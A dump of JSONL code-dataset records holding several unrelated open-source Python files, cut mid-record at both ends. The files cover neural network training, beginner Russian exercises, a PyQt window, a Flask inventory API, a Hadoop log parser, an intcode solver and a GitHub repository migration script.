1)\n\n def rhop(x):\n return ((x >= 0) & (x <= 1)).float()\n\nelif args.activation_function == 'tanh':\n def rho(x):\n return torch.tanh(x)\n def rhop(x):\n return 1 - torch.tanh(x)**2\n\n \n \nif __name__ == '__main__':\n \n input_size = 28\n\n #Build the net \n if (not args.discrete) & (args.learning_rule == 'vf') :\n net = VFcont(args)\n\n if (not args.discrete) & (args.learning_rule == 'ep') :\n net = EPcont(args)\n\n elif (args.discrete) & (args.learning_rule == 'vf'):\n net = VFdisc(args) \n\n elif (args.discrete) & (args.learning_rule == 'ep'):\n net = EPdisc(args)\n\n \n if args.action == 'plotcurves':\n\n batch_idx, (example_data, example_targets) = next(enumerate(train_loader)) \n\n if net.cuda: \n example_data, example_targets = example_data.to(net.device), example_targets.to(net.device) \n\t \n x = example_data\n target = example_targets \n \n nS, dS, dT, _ = compute_nSdSdT(net, x, target)\n plot_S(nS, dS)\n plt.show()\n nT = compute_nT(net, x, target)\n\t \n plot_T(nT, dT, args)\n plt.show()\n \t\t\n #create path \n BASE_PATH, name = createPath(args)\n\n #save hyperparameters\n createHyperparameterfile(BASE_PATH, name, args)\n \n results_dict = {'nS' : nS, 'dS' : dS, 'nT': nT, 'dT': dT, 'args': args}\n \n #outfile = open(os.path.join(BASE_PATH, 'results'), 'wb')\n #pickle.dump(results_dict, outfile)\n #outfile.close()\n\n\n \n elif args.action == 'train':\n\n #create path \n BASE_PATH, name = createPath(args)\n\n #save hyperparameters\n createHyperparameterfile(BASE_PATH, name, args)\n\n \n #compute initial angle between EP update and BPTT gradient\n if args.angle_grad:\n batch_idx, (example_data, example_targets) = next(enumerate(train_loader)) \n if net.cuda: \n example_data, example_targets = example_data.to(net.device), example_targets.to(net.device) \t \n x = example_data\n target = example_targets \n nS, dS, dT, _ = compute_nSdSdT(net, x, target)\n nT = compute_nT(net, x, target) \n theta_T = compute_angleGrad(nS, dS, nT, dT)\n results_dict_angle = {'theta_T': theta_T}\n print('Initial angle between total EP update and total BPTT gradient: {:.2f} degrees'.format(theta_T))\t\t\n\n\n #train with EP\n error_train_tab = []\n error_test_tab = [] \n\n start_time = datetime.datetime.now()\n\n for epoch in range(1, args.epochs + 1):\n error_train = train(net, train_loader, epoch, args.learning_rule)\n error_train_tab.append(error_train)\n\n\n error_test = evaluate(net, test_loader) \n error_test_tab.append(error_test) ;\n results_dict = {'error_train_tab' : error_train_tab, 'error_test_tab' : error_test_tab,\n 'elapsed_time': datetime.datetime.now() - start_time}\n\n if args.angle_grad:\n results_dict.update(results_dict_angle)\n\n outfile = open(os.path.join(BASE_PATH, 'results'), 'wb')\n pickle.dump(results_dict, outfile)\n outfile.close()\n\n \n \n\n","repo_name":"ernoult/continualEP","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"5998416481","text":"\n#Task 1 Создать список и заполнить его элементами различных типов данных. Реализовать скрипт проверки типа данных каждого элемента. Использовать функцию type() для проверки типа. Элементы списка можно не запрашивать у пользователя, а указать явно, в программе.\nmy_list = ['one', 2, 3.33, [4, 5], 'five']\n\nfor row in my_list:\n print(type(row))\n\n\n#Task 2 Для списка реализовать обмен значений соседних элементов, т.е. Значениями обмениваются элементы с индексами 0 и 1, 2 и 3 и т.д. При нечетном количестве элементов последний сохранить на своем месте. Для заполнения списка элементов необходимо использовать функцию input().\nloop = True\nmy_list = []\n\nwhile loop == True:\n a = input(\"Введите значение списка (для выхода Q): \")\n if a == \"q\" or a == \"Q\":\n loop = False\n else:\n my_list.append(a)\n print(my_list)\n\nfor i in range(0, len(my_list)-1, 2):\n my_list[i], my_list[i+1] = my_list[i+1], my_list[i]\nprint(my_list)\n\n#Task 3 Пользователь вводит месяц в виде целого числа от 1 до 12. Сообщить к какому времени года относится месяц (зима, весна, лето, осень). Напишите решения через list и через dict.\na = int(input(\"Введите номер месяца: \"))\nlistmonth = ['Зима', 'Зима', 'Весна', 'Весна', 'Весна', 'Лето', 'Лето', 'Лето', 'Осень', 'Осень', 'Осень', 'Зима']\ndictmonth = {1: 'Зима', 2: 'Зима', 3: 'Весна', 4: 'Весна', 5: 'Весна', 6: 'Лето', 7: 'Лето', 8: 'Лето', 9: 'Осень', 10: 'Осень', 11:'Осень', 12: 'Зима'}\n\nprint(dictmonth[a])\nprint(listmonth[a])\n\n#Task 4 Пользователь вводит строку из нескольких слов, разделённых пробелами. Вывести каждое слово с новой строки. Строки необходимо пронумеровать. Если в слово длинное, выводить только первые 10 букв в слове.\nstroka = input('Пожалуйста введите слова разделяя их пробелами: ')\ns = stroka.split()\nfor i in range(len(s)):\n print(i+1, s[i])\n\n#Task 5 Пользователь вводит строку из нескольких слов, разделённых пробелами. Вывести каждое слово с новой строки. Строки необходимо пронумеровать. Если в слово длинное, выводить только первые 10 букв в слове.\nrate = []\nloop = True\n\nwhile loop == True:\n a = input('Пожалуйста введите число (для выхода Q): ')\n if a == \"q\" or a == \"Q\":\n loop = False\n else:\n a = int(a)\n if len(rate) == 0:\n rate.append(a)\n else:\n for i in range(len(rate)):\n if a > rate[i]:\n rate.insert(i, a)\n print(rate)\n break\n\n#Task 6 Реализовать структуру данных «Товары». Она должна представлять собой список кортежей. Каждый кортеж хранит информацию об отдельном товаре. В кортеже должно быть два элемента — номер товара и словарь с параметрами (характеристиками товара: название, цена, количество, единица измерения). Структуру нужно сформировать программно, т.е. запрашивать все данные у пользователя.\nproducts, order = [], 1\ntitle, price, amount = None, None, None\n\nwhile True:\n title = input('Введите название товара (для выхода Q): ')\n if title == \"q\" or title == \"Q\":\n break\n else:\n price = int(input('Введите стоимость товара: '))\n amount = int(input('Введите количество: '))\n unit = input('Введите единицу измерения: ')\n products.append((order,{'title': title,'price': price,'amount': amount,'unit': unit}))\n order += 1\n print(products)\n\nanalitics = {\n 'title': [],\n 'price': [],\n 'amount': [],\n 'unit': set()\n}\n\nfor _, item in products:\n analitics['title'].append(item['title'])\n analitics['price'].append(item['price'])\n analitics['amount'].append(item['amount'])\n analitics['unit'].add(item['unit'])\n\nprint(analitics)\nprint(analitics)\n","repo_name":"AndreyAAleksandrov/GBPython","sub_path":"Basics/Lesson2/Lesson2.py","file_name":"Lesson2.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41766846282","text":"import matplotlib\nimport matplotlib.pyplot as plt\n\nyValue = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nyValue2 = [10, 9, 8, 7, 6, 5, 4, 3, 2, 1]\nattack_type = 'no_attack'\n\nplt.plot(yValue, 'b' if attack_type == 'no_attack' else 'r', linewidth=2)\nplt.axis([0, 200, 0, 100])\nplt.xlabel(xlabel='epochs', fontsize=15)\nplt.ylabel(ylabel='accuracy', fontsize=15)\nplt.tick_params(axis='both', labelsize=12, color='red', labelcolor='green')\nplt.show()\n\ndef score_mixed_updates(mixed_updates, gmodel, exchange_list):\n global list\n local_models = []\n for k, mixed_update in mixed_updates.items():\n model = copy.deepcopy(gmodel)\n model.load_state_dict(mixed_update)\n local_models.append(model)\n\n sb = list(local_models[0].parameters())[-1]\n sw = list(local_models[0].parameters())[-2]\n try:\n sl = sb.shape[0] + sw.shape[0] * sw.shape[1]\n except:\n sl = sb.shape[0] + sw.shape[0]\n\n gmodel = torch.nn.utils.parameters_to_vector(gmodel.parameters())\n models = [torch.nn.utils.parameters_to_vector(model.parameters()) for model in local_models]\n n = len(local_models)\n all_grads = torch.empty([n, len(models[0])])\n for i in range(n):\n all_grads[i] = (gmodel - models[i]).detach()\n\n index_dic = list(mixed_updates.keys())\n T = len(all_grads)\n re_all_grads = torch.zeros_like(all_grads)\n m = dict()\n s = 2\n for list in exchange_list:\n m[list[0]] = list[1]\n m[list[1]] = list[0]\n for t in range(T):\n var_tensor = torch.zeros_like(all_grads[0], requires_grad=False)\n var_tensor.add_(1 / s, all_grads[t])\n for i, j in enumerate(index_dic):\n if j == m[index_dic[t]]:\n var_tensor.add_(1 / s, all_grads[i])\n break\n re_all_grads[t].copy_(var_tensor)\n\n all_grads = re_all_grads\n\n d = score_all(all_grads)\n cs = score_last(all_grads, sl)\n d = d / d.max()\n d = 1 - d\n cs = (cs + 1) / 2\n sim = 0.2 * d + 0.8 * cs\n # sim = d\n q1 = torch.quantile(sim, 0.25)\n sim = sim - q1\n peers = list(mixed_updates.keys())\n sim_dict = {}\n for i, k in enumerate(peers):\n sim_dict[k] = sim[i].item()\n\n return sim_dict, exchange_list","repo_name":"Tomkino/temp","sub_path":"via - 副本/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8552399395","text":"from PyQt5.QtWidgets import QMainWindow, QMessageBox\nfrom PyQt5.QtGui import QIcon\nfrom services.org_service import org_service, InvalidCode\nfrom ui.messages import error, success\n\nfrom ui.org_join_window_ui import Ui_OrgJoin\nfrom ui.org_create import OrgCreateForm\nfrom ui.main_window import MainWindow\n\n\nclass OrgJoinWindow(QMainWindow, Ui_OrgJoin):\n def __init__(self, parent=None) -> None:\n super().__init__(parent)\n self.setupUi(self)\n self.setWindowTitle(\"TaskForce\")\n self.setWindowIcon(QIcon(\"img/icon.ico\"))\n self.setUpConnection()\n self.org_create_form = OrgCreateForm(self)\n\n def setUpConnection(self):\n self.joinButton.pressed.connect(self.joinOrg)\n self.createButton.pressed.connect(self.createOrg)\n\n def joinOrg(self):\n\n try:\n if self.codeFill.text().strip() == \"\":\n error(\"Required fields empty\",\n \"Please enter the code for the organization you want to join.\")\n else:\n org = org_service.join_org(self.codeFill.text())\n success(\"Joined organizations\",\n f\"You have succesfully joined the organization {org.name}\")\n self.openMainWindow()\n\n except InvalidCode:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Critical)\n msg.setText(\"Organization not found!\")\n msg.setWindowTitle(\n \"There is no organiozation with this code. Make sure that you wrote the code correctly.\")\n msg.exec_()\n\n def createOrg(self):\n self.org_create_form.exec()\n\n def openMainWindow(self):\n self.joinButton.disconnect()\n self._win = MainWindow()\n self._win.show()\n self.close()\n","repo_name":"sonicsasha/taskforce","sub_path":"src/ui/org_join.py","file_name":"org_join.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26388654212","text":"# creates: hoppingsummary.png\nimport matplotlib\nmatplotlib.use('Agg')\nfrom ase.optimize.minimahopping import MHPlot\n\nexecfile('Cu2_Pt110.py')\nmhplot = MHPlot()\nmhplot.save_figure('hoppingsummary.png')\n# Clean up directory.\nimport os\nos.remove('hop.log')\nos.remove('minima.traj')\nos.remove('qn00000.traj')\nos.remove('qn00000.log')\nfor index in range(1, 10):\n os.remove('qn%05i.traj' % index)\n os.remove('qn%05i.log' % index)\n os.remove('md%05i.traj' % index)\n os.remove('md%05i.log' % index)\n","repo_name":"tootea/ase","sub_path":"doc/tutorials/minimahopping/minimahopping.py","file_name":"minimahopping.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74173883092","text":"import torch\nimport torch_spline_conv.weighting_cpu\n\nif torch.cuda.is_available():\n import torch_spline_conv.weighting_cuda\n\n\ndef get_func(name, tensor):\n if tensor.is_cuda:\n return getattr(torch_spline_conv.weighting_cuda, name)\n else:\n return getattr(torch_spline_conv.weighting_cpu, name)\n\n\nclass SplineWeighting(torch.autograd.Function):\n @staticmethod\n def forward(ctx, x, weight, basis, weight_index):\n ctx.weight_index = weight_index\n ctx.save_for_backward(x, weight, basis)\n op = get_func('weighting_fw', x)\n out = op(x, weight, basis, weight_index)\n return out\n\n @staticmethod\n def backward(ctx, grad_out):\n x, weight, basis = ctx.saved_tensors\n grad_x = grad_weight = grad_basis = None\n\n if ctx.needs_input_grad[0]:\n op = get_func('weighting_bw_x', x)\n grad_x = op(grad_out, weight, basis, ctx.weight_index)\n\n if ctx.needs_input_grad[1]:\n op = get_func('weighting_bw_w', x)\n grad_weight = op(grad_out, x, basis, ctx.weight_index,\n weight.size(0))\n\n if ctx.needs_input_grad[2]:\n op = get_func('weighting_bw_b', x)\n grad_basis = op(grad_out, x, weight, ctx.weight_index)\n\n return grad_x, grad_weight, grad_basis, None\n","repo_name":"dinhinfotech/Pretrain_DGCNN_NIPS_2019","sub_path":"pytorchgeometric/lib/python3.7/site-packages/torch_spline_conv/weighting.py","file_name":"weighting.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"13222207112","text":"\"\"\" Sum of a nested list\nImplement a function to calculate the sum of the numerical values in a nested list. For example :\n\nsum_nested([1, [2, [3, [4]]]]) -> 10\n\nhttps://www.codewars.com/kata/sum-of-a-nested-list/train/python\n\"\"\"\n\ndef sum_nested(lst):\n res = 0\n # traverse list recursively, adding values as we go\n for i in lst:\n # use duck-typing to identify iterators:\n try:\n res += i\n except TypeError:\n # NOTE: no explicit type checking performed, so strings\n # and other unforeseen list elements could cause problems\n res += sum_nested(i)\n return res\n\n\nassert(sum_nested([1, [1], [[1]], [[[1]]]]) == 4)\nassert(sum_nested([1, [2, [3, [4]]]]) == 10)\n\n\n\"\"\" Alternate solutions \"\"\"\n\n# top-answer on codewars using recursive sum() calls:\n\ndef sum_nested2(lst):\n return sum(sum_nested2(x) if isinstance(x, list) else x for x in lst)\n\n\n# using a generator:\n\ndef traverse(lst):\n try:\n for i in iter(lst):\n for j in traverse(i):\n yield j\n except TypeError:\n yield lst\n\ndef sum_nested3(lst):\n return sum(traverse(lst))\n\nprint(sum_nested3([1, [2, [3, [4]]]]))\n\n# Comparison\n\nimport timeit\n\nprint(timeit.timeit(lambda x=[1, [2, [3, [4]]]]: sum_nested(x))) # 5 secs\nprint(timeit.timeit(lambda x=[1, [2, [3, [4]]]]: sum_nested2(x))) # 3 secs\nprint(timeit.timeit(lambda x=[1, [2, [3, [4]]]]: sum_nested3(x))) # 8 secs (!)\n","repo_name":"glutanimate/codewars","sub_path":"Python/7kyu/recursion_sum_of_a_nested_list.py","file_name":"recursion_sum_of_a_nested_list.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"22738811026","text":"#!/usr/bin/env python\nfrom __future__ import print_function,division\n\nimport argparse\nimport json\nfrom operator import itemgetter\nimport os\nimport sys\n\nfrom hadoop.util.filter import add_predicates\n\n\ndef parse_args(args):\n p = argparse.ArgumentParser(description='Extract job times')\n g = p.add_mutually_exclusive_group(required=True)\n\n g.add_argument('-p','--phase'\n ,choices=['map','shuffle','sort','reduce','full_reduce']\n ,help='the job time to extract (full_reduce contains'\n +' shuffle, sort and reduce time).')\n g.add_argument('-s','--sojourn-time',action='store_true',default=False)\n g.add_argument('-m','--map-time',action='store_true',default=False\n ,help='print map phase duration')\n g.add_argument('-r','--reduce-time',action='store_true',default=False\n ,help='print reduce phase duration')\n\n p.add_argument('-i','--input-files',metavar='INPUT_FILE'\n ,required=True, nargs='+'\n ,help='files containing the job events in json format')\n p.add_argument('-n','--print-id',action='store_true',default=False\n ,help='print the jobid (or taskid) on each line before the number')\n p.add_argument('-N','--normalized',action='store_true',default=False\n ,help='normalize task times against the mean task time per job')\n p.add_argument('-t','--time-unit',default='seconds',choices=['seconds']\n ,help='time unit to be displayed (for future releases)')\n\n add_predicates(p)\n\n return p.parse_args(args)\n\ndef getdiff(time_unit):\n if time_unit == 'seconds':\n f = lambda t1,t2:(float(t1)-float(t2)) / 1000\n else:\n f = lambda t1,t2:(float(t1)-float(t2))\n return f\n\ndef main():\n args = parse_args(sys.argv[1:])\n\n if args.normalized and (not args.phase):\n sys.exit('Normalize -N/--normalized requires a phase specified')\n\n diff = getdiff(args.time_unit)\n print_id = args.print_id\n for input_file_name in args.input_files:\n with open(input_file_name,\"rt\") as input_file:\n jobid,job = json.load(input_file).items()[0]\n \n # filter by predicate\n if args.predicate:\n trueOrErr = args.predicate(job)\n if trueOrErr != True:\n sys.stderr.write('Ignoring job {} because {}{}'\n .format(jobid, trueOrErr, os.linesep))\n continue\n\n # print the sojourn time\n if args.sojourn_time:\n print('{} {}'.format(\n jobid if print_id else ''\n , diff(job['finish_time'],job['submit_time'])))\n continue\n\n # print the map time\n if args.map_time or args.reduce_time:\n tasks = job['maps' if args.map_time else 'reduces'].values()\n if tasks:\n start = min(map(itemgetter('start_time'),tasks))\n finish = max(map(itemgetter('finish_time'),tasks))\n print('{} {}'.format(jobid if print_id else '', diff(finish,start)))\n else:\n sys.stderr.write('job {} doesn\\'t have {} tasks\\n'\n .format(jobid, 'map' if args.map_time else 'reduce'))\n continue\n \n # get a time task dependent\n tasks = job['maps' if args.phase == 'map' else 'reduces'].items()\n times = {} # taskid -> time\n for taskid,task in tasks:\n try:\n\n # print the map or full_reduce time \n if args.phase == 'map' or args.phase == 'full_reduce':\n times[taskid] = diff(task['finish_time'],task['start_time'])\n else:\n attempt = task['successful_attempt'].values()[0]\n # print the sort time\n if args.phase == 'sort':\n times[taskid] = diff(attempt['sort_finished'],attempt['shuffle_finished'])\n # print the shuffle time\n elif args.phase == 'shuffle':\n times[taskid] = diff(attempt['shuffle_finished'],task['start_time'])\n # print the reduce computation time\n elif args.phase == 'reduce':\n times[taskid] = diff(task['finish_time'],attempt['shuffle_finished'])\n\n except KeyError as ke:\n sys.stderr.write('task: {} key_error:{}{}'.format(task,ke,os.linesep))\n\n if args.normalized:\n if len(times) > 0:\n tot = sum(times.values()) / len(times)\n for taskid,time in times.items():\n if print_id:\n sys.stdout.write(taskid + ' ')\n print(str(time / tot))\n else:\n for taskid,time in times.items():\n if print_id:\n sys.stdout.write(taskid + ' ')\n print(str(time))\n\nif __name__=='__main__':\n main()\n","repo_name":"melrief/Hadoop-Log-Tools","sub_path":"hadoop/log/jobtimes.py","file_name":"jobtimes.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"18577096031","text":"#!/usr/bin/env python3\n\nfrom itertools import permutations\nfrom pathlib import Path\nfrom typing import Callable, Sequence\n\nfrom intcode import Intcode, IntcodeComputer, IntcodeInput\n\nAmplifierPhaseSequence = Sequence[int]\n\nintcode_program: Intcode = Intcode([])\nwith open(Path(\"data\", \"07\", \"input.txt\"), \"r\") as file:\n for line in file:\n intcode_program += [int(x) for x in line.strip().split(\",\")]\n\n\ndef run_amplifier_series(\n intcode: Intcode, phase_sequence: AmplifierPhaseSequence\n) -> int:\n value = 0\n for phase in phase_sequence:\n inputs = IntcodeInput([phase, value])\n # res = run_intcode(code=intcode.copy(), inputs=inputs, verbose=False)\n res = IntcodeComputer(code=intcode.copy())(inputs=inputs)\n assert res.output is not None\n value = res.output\n return value\n\n\ndef find_fastest_phase_sequence(\n intcode: Intcode,\n amp_method: Callable[[Intcode, AmplifierPhaseSequence], int],\n amp_phases: list[int],\n) -> tuple[AmplifierPhaseSequence, int]:\n best_phase_seq: AmplifierPhaseSequence = []\n max_thrust = -1\n for phase_sequence in permutations(amp_phases):\n amp_thrust = amp_method(intcode.copy(), phase_sequence)\n if amp_thrust > max_thrust:\n max_thrust = amp_thrust\n best_phase_seq = list(phase_sequence)\n assert len(best_phase_seq) == len(amp_phases)\n return best_phase_seq, max_thrust\n\n\n# Test input.\ntest_intcode = Intcode([3, 15, 3, 16, 1002, 16, 10, 16, 1, 16, 15, 15, 4, 15, 99, 0, 0])\ntest_input_seq = [4, 3, 2, 1, 0]\ntest_output = 43210\ntest_res = run_amplifier_series(test_intcode, test_input_seq)\nassert test_res == test_output\nres_phase_seq, res_max_thrust = find_fastest_phase_sequence(\n test_intcode, amp_method=run_amplifier_series, amp_phases=list(range(5))\n)\nassert all([a == b for a, b in zip(test_input_seq, res_phase_seq)])\nassert res_max_thrust == test_output\n\n# Puzzle input\nbest_phase_seq, max_thrust = find_fastest_phase_sequence(\n intcode_program.copy(), amp_method=run_amplifier_series, amp_phases=list(range(5))\n)\nprint(\"(part 1) Series method results:\")\nprint(f\" sequence {best_phase_seq}\")\nprint(f\" max thrust of {max_thrust}\")\nassert max_thrust == 21860 # correct puzzle solution\nprint(\"\")\n\n# ---- Part 2 ----\n\n\ndef run_amplifier_feedback_loop(\n intcode: Intcode, phase_sequence: AmplifierPhaseSequence\n) -> int:\n value = 0\n amp_codes: dict[int, IntcodeComputer] = {\n i: IntcodeComputer(code=intcode.copy()) for i in range(len(phase_sequence))\n }\n halt = False\n\n for amp_i, phase in enumerate(phase_sequence):\n inputs = IntcodeInput([phase, value])\n int_comp = amp_codes[amp_i]\n res = int_comp(inputs=inputs)\n\n if res.output is not None:\n value = res.output\n\n if res.opcode is not None:\n int_comp.set_instruction_pointer(\n res.instruction_pointer + res.opcode.n_params + 1\n )\n\n while not halt:\n for amp_i in range(len(phase_sequence)):\n inputs = IntcodeInput([value])\n int_comp = amp_codes[amp_i]\n res = int_comp(inputs=inputs)\n\n if res.output is not None:\n value = res.output\n\n if res.opcode is not None:\n int_comp.set_instruction_pointer(\n res.instruction_pointer + res.opcode.n_params + 1\n )\n\n if res.instruction.opcode_value == 99:\n halt = True\n\n return value\n\n\n# Test input.\ntest_intcode_str = \"\"\"\n3,26,1001,26,-4,26,3,27,1002,27,2,27,1,27,26,27,4,27,1001,28,-1,28,1005,28,6,99,0,0,5\n\"\"\"\ntest_intcode = Intcode([int(x) for x in test_intcode_str.strip().split(\",\")])\ntest_input_seq = [9, 8, 7, 6, 5]\ntest_output = 139629729\ntest_res = run_amplifier_feedback_loop(test_intcode, test_input_seq)\nassert test_res == test_output\nres_phase_seq, res_max_thrust = find_fastest_phase_sequence(\n test_intcode, amp_method=run_amplifier_feedback_loop, amp_phases=list(range(5, 10))\n)\nassert all([a == b for a, b in zip(test_input_seq, res_phase_seq)])\nassert res_max_thrust == test_output\n\n# Puzzle input\nbest_phase_seq, max_thrust = find_fastest_phase_sequence(\n intcode_program.copy(),\n amp_method=run_amplifier_feedback_loop,\n amp_phases=list(range(5, 10)),\n)\nprint(\"(part 2) Feedback Loop method results:\")\nprint(f\" sequence {best_phase_seq}\")\nprint(f\" max thrust of {max_thrust}\")\nassert max_thrust == 2645740 # correct puzzle solution\n","repo_name":"jhrcook/advent-of-code_2019","sub_path":"challenges/challenge_07.py","file_name":"challenge_07.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39390118297","text":"import sys\nfrom flask_restful import Resource, Api\nfrom flask import Blueprint, request\n\nfrom rest_backend.auth import get_user_id, login_required\nfrom rest_backend.db import (\n get_db,\n get_collection_last_updated_max,\n set_collection_last_updated\n)\n\nclass Inventory(Resource):\n method_decorators = [login_required]\n\n def get(self):\n db = get_db()\n user_id = get_user_id()\n\n primes_inventory_collection = db.get_collection('primes_inventory')\n last_updated = get_collection_last_updated_max(\n primes_inventory_collection, user_id\n )\n primes_inventory = []\n for prime in primes_inventory_collection.find({\n 'user_id': user_id,\n 'count': {'$gt': 0},\n 'last_updated': {'$exists': False}}) \\\n .sort('name'):\n del prime['_id']\n del prime['user_id']\n primes_inventory.append(prime)\n\n parts_inventory_collection = db.get_collection('parts_inventory')\n last_updated = get_collection_last_updated_max(\n parts_inventory_collection, user_id, last_updated\n )\n parts_inventory = []\n for part in parts_inventory_collection.find({\n 'user_id': user_id,\n 'count': {'$gt': 0},\n 'last_updated': {'$exists': False}}) \\\n .sort('name'):\n del part['_id']\n del part['user_id']\n parts_inventory.append(part)\n\n return {\n 'last_updated': last_updated.isoformat(),\n 'primes_inventory': primes_inventory,\n 'parts_inventory': parts_inventory,\n }\n\n def put(self):\n args = request.get_json(force=True)\n db = get_db()\n user_id = get_user_id()\n\n primes_inventory_collection = db.get_collection('primes_inventory')\n for prime in args.get('primes_inventory', []):\n prime['user_id'] = user_id\n primes_inventory_collection.update_one(\n {'name': prime['name'], 'user_id': user_id},\n {'$set': prime},\n upsert=True\n )\n last_updated = set_collection_last_updated(\n primes_inventory_collection, user_id\n )\n\n parts_inventory_collection = db.get_collection('parts_inventory')\n for part in args.get('parts_inventory', []):\n part['user_id'] = user_id\n parts_inventory_collection.update_one(\n {'name': part['name'], 'user_id': user_id},\n {'$set': part},\n upsert=True\n )\n new_last_updated = set_collection_last_updated(\n parts_inventory_collection, user_id\n )\n if new_last_updated > last_updated:\n last_updated = new_last_updated\n\n return {\n 'last_updated': last_updated.isoformat(),\n 'success': True\n }\n\nbp = Blueprint('inventory', __name__)\napi = Api(bp)\napi.add_resource(Inventory, '/api/v1/inventory')\n","repo_name":"ibbathon/wart","sub_path":"rest_backend/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26897066970","text":"from __future__ import absolute_import, print_function\n\nfrom copy import deepcopy\n\nfrom github3.exceptions import AuthenticationFailed\nfrom invenio_db import db\nfrom invenio_github.api import GitHubAPI\nfrom invenio_github.errors import RepositoryAccessError\nfrom invenio_github.models import Release, ReleaseStatus, Repository\nfrom invenio_oauthclient.models import RemoteAccount\nfrom invenio_pidstore.errors import PIDDoesNotExistError\nfrom invenio_pidstore.models import PersistentIdentifier\nfrom sqlalchemy.orm.exc import NoResultFound\n\n\ndef fetch_gh_info(full_repo_name, gh_api):\n \"\"\"Fetch the GitHub repository from repository name.\"\"\"\n owner, repo_name = full_repo_name.split('/')\n try:\n gh_repo = gh_api.repository(owner, repo_name)\n return (int(gh_repo.id), str(gh_repo.full_name))\n except AuthenticationFailed as e:\n pass # re-try with dev API\n try:\n dev_api = GitHubAPI._dev_api()\n gh_repo = dev_api.repository(owner, repo_name)\n return (int(gh_repo.id), str(gh_repo.full_name))\n except AuthenticationFailed:\n raise\n\n\ndef migrate_github_remote_account(gh_db_ra, remote_account_id, logger=None):\n \"\"\"Migrate the GitHub remote accounts.\"\"\"\n ra = RemoteAccount.query.filter_by(id=remote_account_id).first()\n for full_repo_name, repo_vals in ra.extra_data['repos'].items():\n if '/' not in full_repo_name:\n if logger is not None:\n logger.warning(\"Repository migrated: {name} ({id})\".format(\n name=full_repo_name, id=ra.id))\n continue\n if repo_vals['hook']:\n owner, repo_name = full_repo_name.split('/')\n # If repository name is cached, get from database, otherwise fetch\n if full_repo_name in gh_db_ra:\n gh_id, gh_full_name = gh_db_ra[full_repo_name]\n else:\n gh_api = GitHubAPI(ra.user.id)\n gh_id, gh_full_name = fetch_gh_info(full_repo_name, gh_api.api)\n\n try:\n repo = Repository.get(user_id=ra.user_id, github_id=gh_id,\n name=gh_full_name)\n except NoResultFound:\n repo = Repository.create(user_id=ra.user_id, github_id=gh_id,\n name=gh_full_name)\n except RepositoryAccessError as e:\n if logger is not None:\n\n repo = Repository.query.filter_by(github_id=gh_id).one()\n logger.warning(\n \"User (uid: {user_id}) repository \"\n \"'{repo_name}' from remote account ID:{ra_id} has \"\n \"already been claimed by another user ({user2_id}).\"\n \"Repository ID: {repo_id}.\".format(\n user_id=ra.user.id, repo_name=full_repo_name,\n ra_id=ra.id, user2_id=repo.user_id,\n repo_id=repo.id))\n continue\n # TODO: Hook for this user will not be added.\n repo.hook = repo_vals['hook']\n if repo_vals['depositions']:\n for dep in repo_vals['depositions']:\n try:\n pid = PersistentIdentifier.get(\n pid_type='recid', pid_value=str(dep['record_id']))\n release = Release.query.filter_by(\n tag=dep['github_ref'], repository_id=repo.id,\n record_id=pid.get_assigned_object()).first()\n if not release:\n release = Release(\n tag=dep['github_ref'], errors=dep['errors'],\n record_id=pid.get_assigned_object(),\n repository_id=repo.id,\n status=ReleaseStatus.PUBLISHED)\n # TODO: DO SOMETHING WITH dep['doi']\n # TODO: Update the date dep['submitted']\n db.session.add(release)\n except PIDDoesNotExistError as e:\n if logger is not None:\n logger.exception(\n 'Could not create release {tag} for repository'\n ' {repo_id}, because corresponding PID: {pid} '\n 'does not exist')\n raise e\n db.session.commit()\n\n\ndef update_local_gh_db(gh_db, remote_account_id, logger=None):\n \"\"\"Fetch the missing GitHub repositories (from RemoteAccount information).\n\n :param gh_db: mapping from remote accounts information to github IDs.\n :type gh_db: dict\n :param dst_path: Path to destination file.\n :type dst_path: str\n :param remote_account_id: Specify a single remote account ID to update.\n :type remote_account_id: int\n\n Updates the local GitHub repository name mapping (``gh_db``) with the\n missing entries from RemoteAccount query.\n\n The exact structure of the ``gh_db`` dictionary is as follows:\n gh_db[remote_account_id:str][repository_name:str] = (id:int, name:str)\n E.g.:\n gh_db = {\n \"1234\": {\n \"johndoe/repo1\": (123456, \"johndoe/repo1\"),\n \"johndoe/repo2\": (132457, \"johndoe/repo2\")\n },\n \"2345\": {\n \"janedoe/janesrepo1\": (123458, \"janedoe/repo1\"),\n \"DoeOrganization/code1234\": (123459, \"DoeOrganization/code1234\")\n }\n \"3456\": {} # No active repositories for this remote account.\n }\n \"\"\"\n gh_db = deepcopy(gh_db)\n if remote_account_id:\n gh_ras = [RemoteAccount.query.filter_by(id=remote_account_id).one(), ]\n else:\n gh_ras = [ra for ra in RemoteAccount.query.all()\n if 'repos' in ra.extra_data]\n for ra in gh_ras:\n gh_db.setdefault(str(ra.id), dict())\n repos = ra.extra_data['repos'].items()\n gh_api = GitHubAPI(ra.user.id)\n for full_repo_name, repo_vals in repos:\n if '/' not in full_repo_name:\n if logger is not None:\n logger.warning(\"Repository 